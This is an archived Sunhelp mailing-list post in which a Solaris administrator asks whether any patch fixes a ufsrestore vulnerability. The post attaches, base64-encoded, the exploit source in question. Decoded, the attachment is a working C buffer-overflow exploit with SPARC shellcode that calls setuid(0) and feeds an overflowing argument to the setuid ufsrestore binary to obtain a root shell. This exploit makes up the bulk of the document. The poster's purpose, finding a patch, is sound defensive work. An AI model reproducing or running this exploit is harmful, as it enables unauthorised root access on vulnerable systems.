[Sunhelp] ufsrestore patch

[Omar Cromwell Mercado Mailing Lists]

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime at docserver.cac.washington.edu for more info.

---559023410-1804928587-949475184=:24757
Content-Type: TEXT/PLAIN; charset=US-ASCII



is anybody aware of any patch to ufsrestore which can be exploited by the
attached C program? Apparently, the latest recommended patch for solaris
2.5.1 doesnt solve the vulnerability.. i got the exploit from
rootshell.com..

thanks for those who pointed me to ipnat.. i appreciate it a lot.

best regards,

omar




---559023410-1804928587-949475184=:24757
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ufsrestore-ex.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.GSO.4.10.10002021506240.24757 at galileo.fapenet.org>
Content-Description: 
Content-Disposition: attachment; filename="ufsrestore-ex.c"

DQogICAgICAgICAgICAgICAgICAgIC8vIHVmc3Jlc3RvcmUgc29sYXJpcyAy
LjQsIDIuNSwgMi41LjEsIDIuNiBleHBsb2l0DQogICAgICAgICAgICAgICAg
ICAgIC8vIGJ5IGh1bWJsZQ0KICAgICAgICAgICAgICAgICAgICAvLyB0aGFu
a3MgdG8gcGxhZ3VleiBmb3IgaGVscA0KDQogICAgICAgICAgICAgICAgICAg
ICNpbmNsdWRlIDxzdGRpby5oPg0KICAgICAgICAgICAgICAgICAgICAjaW5j
bHVkZSA8c3RkbGliLmg+DQogICAgICAgICAgICAgICAgICAgICNpbmNsdWRl
IDxzeXMvdHlwZXMuaD4NCiAgICAgICAgICAgICAgICAgICAgI2luY2x1ZGUg
PHVuaXN0ZC5oPg0KDQogICAgICAgICAgICAgICAgICAgICNkZWZpbmUgQlVG
X0xFTkdUSCAzMDANCiAgICAgICAgICAgICAgICAgICAgI2RlZmluZSBFWFRS
QSAxMDANCiAgICAgICAgICAgICAgICAgICAgI2RlZmluZSBTVEFDS19PRkZT
RVQgLTYwMA0KICAgICAgICAgICAgICAgICAgICAjZGVmaW5lIFNQQVJDX05P
UCAweGFjMTVhMTZlDQoNCiAgICAgICAgICAgICAgICAgICAgLy8gbm9ybWFs
IHNoZWxsIGNvZGUgY2VwdCBJIGFkZGVkIGEgYnVuY2ggb2Ygc2xsJ3MgYW5k
IGFkZCdzDQogICAgICAgICAgICAgICAgICAgIC8vIHRvIGdldCByaWQgb2Yg
YSAyZiAnLycgaW4gdGhlcmUgKGZyb20gdGhlIHNldGhpIDB4YmRjZGEsICVs
NykNCiAgICAgICAgICAgICAgICAgICAgLy8gSSBkb24ndCBrbm93IHNwYXJj
IGFzc2VtYmx5IHNvIHRoaXMgbWlnaHQgYmUgZHVtYiA6UA0KDQogICAgICAg
ICAgICAgICAgICAgIC8vIGFsc28gYWRkZWQgY29kZSB0byBkbyBzZXRldWlk
KDApOyBzZXR1aWQoMCk7IGZyb20gZXJpaydzIGJ1ZmZlcg0KICAgICAgICAg
ICAgICAgICAgICAvLyBvdmVycnVuIHBhZ2UNCg0KICAgICAgICAgICAgICAg
ICAgICB1X2NoYXIgc3BhcmNfc2hlbGxjb2RlW10gPQ0KICAgICAgICAgICAg
ICAgICAgICAiXHg5MFx4MDhceDNmXHhmZlx4ODJceDEwXHgyMFx4OGRceDkx
XHhkMFx4MjBceDA4Ig0KICAgICAgICAgICAgICAgICAgICAiXHg5MFx4MDhc
eDNmXHhmZlx4ODJceDEwXHgyMFx4MTdceDkxXHhkMFx4MjBceDA4Ig0KICAg
ICAgICAgICAgICAgICAgICAgICAiXHgyZFx4MGJceGQ4XHg5YVx4YWNceDE1
XHhhMVx4NmUiDQogICAgICAgICAgICAgICAgICAgICAgICJceGFlXHgxMFx4
MmJceGRjXHhhZlx4MmRceGUwXHgwMVx4YWVceDA1XHhlMFx4MDEiDQogICAg
ICAgICAgICAgICAgICAgICAgICJceGFmXHgyZFx4ZTBceDAxXHhhZVx4MDVc
eGUwXHgwMVx4YWZceDJkXHhlMFx4MDEiDQogICAgICAgICAgICAgICAgICAg
ICAgICJceGFmXHgyZFx4ZTBceDAxXHhhZVx4MDVceGUwXHgwMVx4YWZceDJk
XHhlMFx4MDEiDQogICAgICAgICAgICAgICAgICAgICAgICJceGFlXHgwNVx4
ZTBceDAxXHhhZlx4MmRceGUwXHgwMVx4YWZceDJkXHhlMFx4MDEiDQogICAg
ICAgICAgICAgICAgICAgICAgICJceGFlXHgwNVx4ZTBceDAxXHhhZlx4MmRc
eGUwXHgwMVx4YWZceDJkXHhlMFx4MGEiDQogICAgICAgICAgICAgICAgICAg
ICAgICJceDkwXHgwYlx4ODBceDBlIg0KICAgICAgICAgICAgICAgICAgICAg
ICAiXHg5Mlx4MDNceGEwXHgwOFx4OTRceDFhXHg4MFx4MGFceDljXHgwM1x4
YTBceDEwXHhlY1x4M2JceGJmXHhmMCINCiAgICAgICAgICAgICAgICAgICAg
ICAgIlx4ZGNceDIzXHhiZlx4ZjhceGMwXHgyM1x4YmZceGZjXHg4Mlx4MTBc
eDIwXHgzYlx4OTFceGQwXHgyMFx4MDgiDQogICAgICAgICAgICAgICAgICAg
ICAgICJceDkwXHgxYlx4YzBceDBmXHg4Mlx4MTBceDIwXHgwMVx4OTFceGQw
XHgyMFx4MDgiOw0KDQogICAgICAgICAgICAgICAgICAgICAgIHVfbG9uZyBn
ZXRfc3Aodm9pZCkNCiAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgICAgICAgICBfX2FzbV9fKCJtb3YgJXNwLCVpMCBcbiIpOw0K
ICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAg
ICAgICAgdm9pZCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQogICAg
ICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAg
Y2hhciBidWZbQlVGX0xFTkdUSCArIEVYVFJBICsgOF07DQogICAgICAgICAg
ICAgICAgICAgICAgIGxvbmcgdGFyZ19hZGRyOw0KICAgICAgICAgICAgICAg
ICAgICAgICB1X2xvbmcgKmxvbmdfcDsNCiAgICAgICAgICAgICAgICAgICAg
ICAgdV9jaGFyICpjaGFyX3A7DQogICAgICAgICAgICAgICAgICAgICAgIGlu
dCBpLCBjb2RlX2xlbmd0aCA9IHN0cmxlbihzcGFyY19zaGVsbGNvZGUpLGRz
bz0wLGE9MDsNCg0KICAgICAgICAgICAgICAgICAgICAgICBpZihhcmdjID4g
MSkgZHNvPWF0b2koYXJndlsxXSk7DQoNCiAgICAgICAgICAgICAgICAgICAg
ICAgbG9uZ19wID0odV9sb25nICopIGJ1ZiA7DQogICAgICAgICAgICAgICAg
ICAgICAgIHRhcmdfYWRkciA9IGdldF9zcCgpIC0gU1RBQ0tfT0ZGU0VUIC0g
ZHNvOw0KICAgICAgICAgICAgICAgICAgICAgICBmb3IgKGkgPSAwOyBpIDwg
KEJVRl9MRU5HVEggLSBjb2RlX2xlbmd0aCkgLyBzaXplb2YodV9sb25nKTsg
aSsrKQ0KICAgICAgICAgICAgICAgICAgICAgICAqbG9uZ19wKysgPSBTUEFS
Q19OT1A7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgY2hhcl9wID0gKHVf
Y2hhciAqKSBsb25nX3A7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgZm9y
IChpID0gMDsgaSA8IGNvZGVfbGVuZ3RoOyBpKyspDQogICAgICAgICAgICAg
ICAgICAgICAgICpjaGFyX3ArKyA9IHNwYXJjX3NoZWxsY29kZVtpXTsNCg0K
ICAgICAgICAgICAgICAgICAgICAgICBsb25nX3AgPSAodV9sb25nICopIGNo
YXJfcDsNCg0KICAgICAgICAgICAgICAgICAgICAgICBmb3IgKGkgPSAwOyBp
IDwgRVhUUkEgLyBzaXplb2YodV9sb25nKTsgaSsrKQ0KICAgICAgICAgICAg
ICAgICAgICAgICAqbG9uZ19wKysgPXRhcmdfYWRkcjsNCg0KICAgICAgICAg
ICAgICAgICAgICAgICBwcmludGYoIkp1bXBpbmcgdG8gYWRkcmVzcyAweCVs
eCBCWyVkXSBFWyVkXSBTT1slZF1cbiIsDQogICAgICAgICAgICAgICAgICAg
ICAgIHRhcmdfYWRkcixCVUZfTEVOR1RILEVYVFJBLFNUQUNLX09GRlNFVCk7
DQogICAgICAgICAgICAgICAgICAgICAgIHByaW50ZigiaGl0IGN0cmwtYyBh
bmQgdGhlbiB0eXBlIHlcbiIpOw0KICAgICAgICAgICAgICAgICAgICAgICBl
eGVjbCgiL3Vzci9saWIvZnMvdWZzL3Vmc3Jlc3RvcmUiLCAmYnVmWzRdLCJp
ZiIsICItIiwoY2hhciAqKSAwKTsNCiAgICAgICAgICAgICAgICAgICAgICAg
cGVycm9yKCJleGVjbCBmYWlsZWQiKTsNCiAgICAgICAgICAgICAgICAgICAg
ICAgfQ0K
---559023410-1804928587-949475184=:24757--